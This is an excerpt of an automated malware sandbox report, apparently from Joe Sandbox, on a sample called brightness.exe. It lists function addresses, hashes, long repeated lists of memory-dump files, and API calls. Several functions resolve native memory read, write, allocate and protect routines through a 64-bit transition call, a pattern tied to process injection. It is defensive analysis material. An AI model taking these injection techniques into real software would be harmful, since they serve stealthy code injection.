API ID: Local$Free$AllocAttributesFile__snwprintf$FolderKnownPathTask
String ID:
API String ID: 3140265870-0
Opcode ID: 8b009206fdb3c0c6d13b65a42978dedd57e25986016c9a9955963ac0ea1d858e
Instruction ID: c18e8a5fa960c1e66eaa7c9e1201ad85408337f5bebaf58e981e62b3e723dafe
Opcode Fuzzy Hash: 8b009206fdb3c0c6d13b65a42978dedd57e25986016c9a9955963ac0ea1d858e
Instruction Fuzzy Hash: 2811FE75D20208EFDB40DFA4DA8869DBB74EF48301F1085A9E506A7380DB758F50DF81

Function 002DC970 Relevance: 7.5, APIs: 5, Instructions: 26COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 002DC978
CoCreateGuid.COMBASE(?), ref: 002DC982
StringFromGUID2.COMBASE(?,?,00000027), ref: 002DC996
CoUninitialize.COMBASE ref: 002DC9A0
CoUninitialize.COMBASE ref: 002DC9AD

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Uninitialize$CreateFromGuidInitializeString
String ID:
API String ID: 46189592-0
Opcode ID: 24dc9a189985170047f9bf01d15521a3cc7e4f3c115f9446bf8f9b15a5a4cf8c
Instruction ID: cda205d936bf79e815594003d3bc88be37f8cab4cdffdacc78ce0404b680b45e
Opcode Fuzzy Hash: 24dc9a189985170047f9bf01d15521a3cc7e4f3c115f9446bf8f9b15a5a4cf8c
Instruction Fuzzy Hash: C5E01231A1420A9BD741AFB4FD8DBBA77ADAB18701F104519F955C6250E672D810CB52

Function 002C64B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtReadVirtualMemory), ref: 002C64D4
X64Call.BRIGHTNESS(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 002C6554
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C6576

Strings

NtReadVirtualMemory, xrefs: 002C64C8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtReadVirtualMemory
API String ID: 3570319994-2166501906
Opcode ID: 96bce2de903657c969a3e76e64632b5b476b82f46ce9f7517965eb1cdc76b230
Instruction ID: a30438627cddfd94f5f910822ce2e8beb5da1558fcc42ade87e54c5ce9f939d3
Opcode Fuzzy Hash: 96bce2de903657c969a3e76e64632b5b476b82f46ce9f7517965eb1cdc76b230
Instruction Fuzzy Hash: 41313EB0920209EFDF04CF54DC49FAFB7B8AB48744F60822DE805A7254E77499A0CFA1

Function 002C65A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtWriteVirtualMemory), ref: 002C65C4
X64Call.BRIGHTNESS(00000000,00000000,00000005,?,?,?,?,00000000,00000000,?,00000000,?,00000000), ref: 002C6644
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C6666

Strings

NtWriteVirtualMemory, xrefs: 002C65B8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtWriteVirtualMemory
API String ID: 3570319994-3834091833
Opcode ID: 1ea21928442dd7f96d9ecb661d95022e2b753dcc38c6d62b79aabcdf7491f31c
Instruction ID: 4214c5a061a5ebc705d2711277b5f04ecc41f35cf19932c546f51a43ab761772
Opcode Fuzzy Hash: 1ea21928442dd7f96d9ecb661d95022e2b753dcc38c6d62b79aabcdf7491f31c
Instruction Fuzzy Hash: AF310CB0920209EFDB14CF64D859FABB7B8EF48305F10822DF805A6250E7759A65CF61

Function 002C6230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtAllocateVirtualMemory), ref: 002C6254
X64Call.BRIGHTNESS(00000000,00000000,00000006,?,00000000,?,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000), ref: 002C62CE
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C62F0

Strings

NtAllocateVirtualMemory, xrefs: 002C6248

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtAllocateVirtualMemory
API String ID: 3570319994-3765841899
Opcode ID: 9216b06c4ec084bce7c9dfb3b7cbb0b897592ef33196ce0aadc66edfdb9932b7
Instruction ID: b60b959aaf2a6c5548d61ca5627dc784029e68185c52ec7b5a2365e59eba1a15
Opcode Fuzzy Hash: 9216b06c4ec084bce7c9dfb3b7cbb0b897592ef33196ce0aadc66edfdb9932b7
Instruction Fuzzy Hash: 852110B1E20209AFDB04CFA4DD4AF7BB7B9EB88300F40826DE805A7245E7745A54CB91

Function 002C63E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

GetProcAddress64.BRIGHTNESS(00000000,?,NtProtectVirtualMemory), ref: 002C6404
X64Call.BRIGHTNESS(00000000,00000000,00000005,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 002C6475
SetLastErrorFromX64Call.BRIGHTNESS(00000000,?), ref: 002C6497

Strings

NtProtectVirtualMemory, xrefs: 002C63F8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Call$Address64ErrorFromLastProc
String ID: NtProtectVirtualMemory
API String ID: 3570319994-1546459799
Opcode ID: cc356e75dc009247f47f45723ef93a3c4f004002a39c3ce74e9ed3c84248d7a1
Instruction ID: 8029fbfec6efa5fe21451f5a195df126c3c6c13411fe2a3c28cd6c16abf91eae
Opcode Fuzzy Hash: cc356e75dc009247f47f45723ef93a3c4f004002a39c3ce74e9ed3c84248d7a1
Instruction Fuzzy Hash: 9521FFB0D20209AFDF24DF64EC49FBAB7F9EB88714F00962DE405A6250D7755960CF64

Function 002EAD7D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

___initmbctable.LIBCMT ref: 002EAD92

Part of subcall function 002E8FFE: __setmbcp.LIBCMT ref: 002E9009

_parse_cmdline.LIBCMT ref: 002EADD4
_parse_cmdline.LIBCMT ref: 002EAE15

Strings

C:\Windows\SysWOW64\brightness.exe, xrefs: 002EAD9C, 002EADA1

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
